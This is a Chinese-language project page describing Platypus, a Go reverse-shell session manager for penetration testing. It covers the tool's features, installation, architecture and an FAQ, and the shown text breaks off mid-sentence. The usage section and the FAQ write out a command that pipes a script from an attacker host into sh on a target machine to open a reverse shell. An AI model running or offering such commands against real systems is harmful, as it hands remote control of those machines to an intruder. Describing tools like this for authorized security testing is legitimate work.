跳到主要内容
项目档案应用项目

Platypus:Go语言多会话反向Shell管理器 - 安装、使用与特性详解

Platypus是一个用Go开发的多会话反向Shell管理工具,提供CLI和Web UI,支持RESTful API、Python SDK、RaaS、文件传输和端口转发。本页详细介绍其安装方式、使用方法及核心功能。

1,656GoStar 于 2026年4月13日2026年9月18日 更新

AI 总结

Platypus 是一个用 Go 开发的多会话反向 Shell 管理器,提供终端 CLI 和 Web UI,通过 Reverse Shell as a Service (RaaS) 简化渗透测试中的会话管理、文件传输和端口转发操作。

中文项目介绍

Platypus 是一个专为渗透测试与红队行动设计的现代反向 Shell 会话管理工具,采用 Go 语言开发,支持终端命令行与 Web 界面两种操作方式。 它解决了传统渗透测试中多个反向 Shell 会话难以集中管理、命令繁琐且易出错的问题,通过统一的控制中心实现对所有会话的监控、交互与操作。 主要适用于需要维持多目标访问的渗透测试场景、红队行动中的持久化控制,以及安全评估中的远程终端访问与文件操作。 基于仓库确认的技术特征包括:多端口监听与客户端连接、RESTful API 与 Python SDK 远程控制、Reverse Shell as a Service(一键生成反向 Shell 命令)、带进度条的文件上传下载、全交互式 Shell(兼容 vim 与信号处理)、端口转发、配置文件初始化、自动更新检查以及 Web UI 管理界面。 项目采用三组件架构(管理端、服务器、代理),依赖 Gin、FX、Viper 等库,支持 Docker 部署与预编译二进制运行,文档提供中文版本。

详细信息与使用说明

1. 项目定位与用途

Platypus 是一个多会话反向 Shell 管理器,用于渗透测试中统一管理多个目标的反向 Shell 连接。它提供终端 CLI 和 Web UI,支持会话切换、文件传输、端口转发等操作,核心目标是简化红队行动中的访问维持与横向移动流程。仓库中未明确给出与其他工具(如 Metasploit)的深度集成细节。

2. 核心功能与特性

主要功能包括:多服务监听端口与多客户端连接;RESTful API 与 Python SDK 远程控制;Reverse Shell as a Service(RaaS)通过 curl 命令一键生成反向 Shell;文件上传下载带进度条;全交互式 Shell 支持 vim 及 Ctrl+C/Z 信号;自动启动服务器;端口转发;从配置文件初始化;Web UI 管理界面。所有特性均基于 README 与代码结构确认。

3. 安装方式

支持三种安装方式:1) 从源码编译:git clone 后运行 make install_dependency 安装依赖,再 make release 编译;2) 使用 Docker:docker-compose up -d 启动;3) 下载预编译二进制文件从 GitHub Releases 页面获取。可选依赖 upx 用于压缩二进制文件。仓库中未明确给出其他包管理器(如 apt)的直接安装命令。

4. 使用方式

运行 ./Platypus 自动生成 config.yml 配置文件,可修改监听端口与客户端标识格式(如 %i 表示 IP)。使用 RaaS:在目标机执行 curl http://<攻击者IP>:<端口>/|sh 生成反向 Shell。CLI 中使用 list 查看会话,interact 进入交互式 Shell,upload/download 传输文件,tunnel 配置端口转发。Web UI 访问 http://127.0.0.1:7331/。RESTful API 与 Python SDK 提供编程控制能力。

5. 架构与组件

项目采用三组件架构:1) 管理端(cmd/platypus-admin):提供 CLI 命令分发器与 REPL 循环;2) 服务器(cmd/platypus-server):加载配置,启动监听器、RESTful API 服务与分发器服务器;3) 代理客户端(cmd/platypus-agent):处理 TLS 连接、Gob 编解码、PTY 进程管理、文件传输与隧道。设计文档位于 docs/platypus/docs/dev-guide/design/Design.md。

6. 补充说明

项目支持自动更新检查(可通过配置关闭),配置文件使用 YAML 格式,客户端标识支持 IP、用户名、MAC、操作系统、时间戳组合。Web UI 基于 Gin 框架,RESTful 服务默认监听 127.0.0.1:7331。仓库中包含多语言反向 Shell 模板(assets/template/rsh/),但具体语言支持列表未在 README 中完整列出。

思维导图

Platypus
CLI管理端
命令分发器
REPL循环
会话控制
服务器核心
多端口监听
客户端管理
RESTful API
配置加载
代理客户端
TLS连接
PTY进程
文件传输
端口转发
RaaS服务
命令生成
多语言模板
后台运行
Web UI
Gin框架
端口7331
会话可视化
工具链
Python SDK
Docker部署
自动更新

常见问题

如何安装 Platypus?

支持三种方式:从源码编译(git clone 后执行 make install_dependency 和 make release)、使用 Docker(docker-compose up -d)、或下载 GitHub Releases 中的预编译二进制文件直接运行。可选安装 upx 用于压缩。

什么是 RaaS 功能?如何使用?

RaaS(Reverse Shell as a Service)是通过简单 curl 命令在目标机生成反向 Shell 的服务。启动 Platypus 后,终端会显示类似 curl http://<IP>:<端口>/|sh 的命令,在目标机执行即可建立反向连接,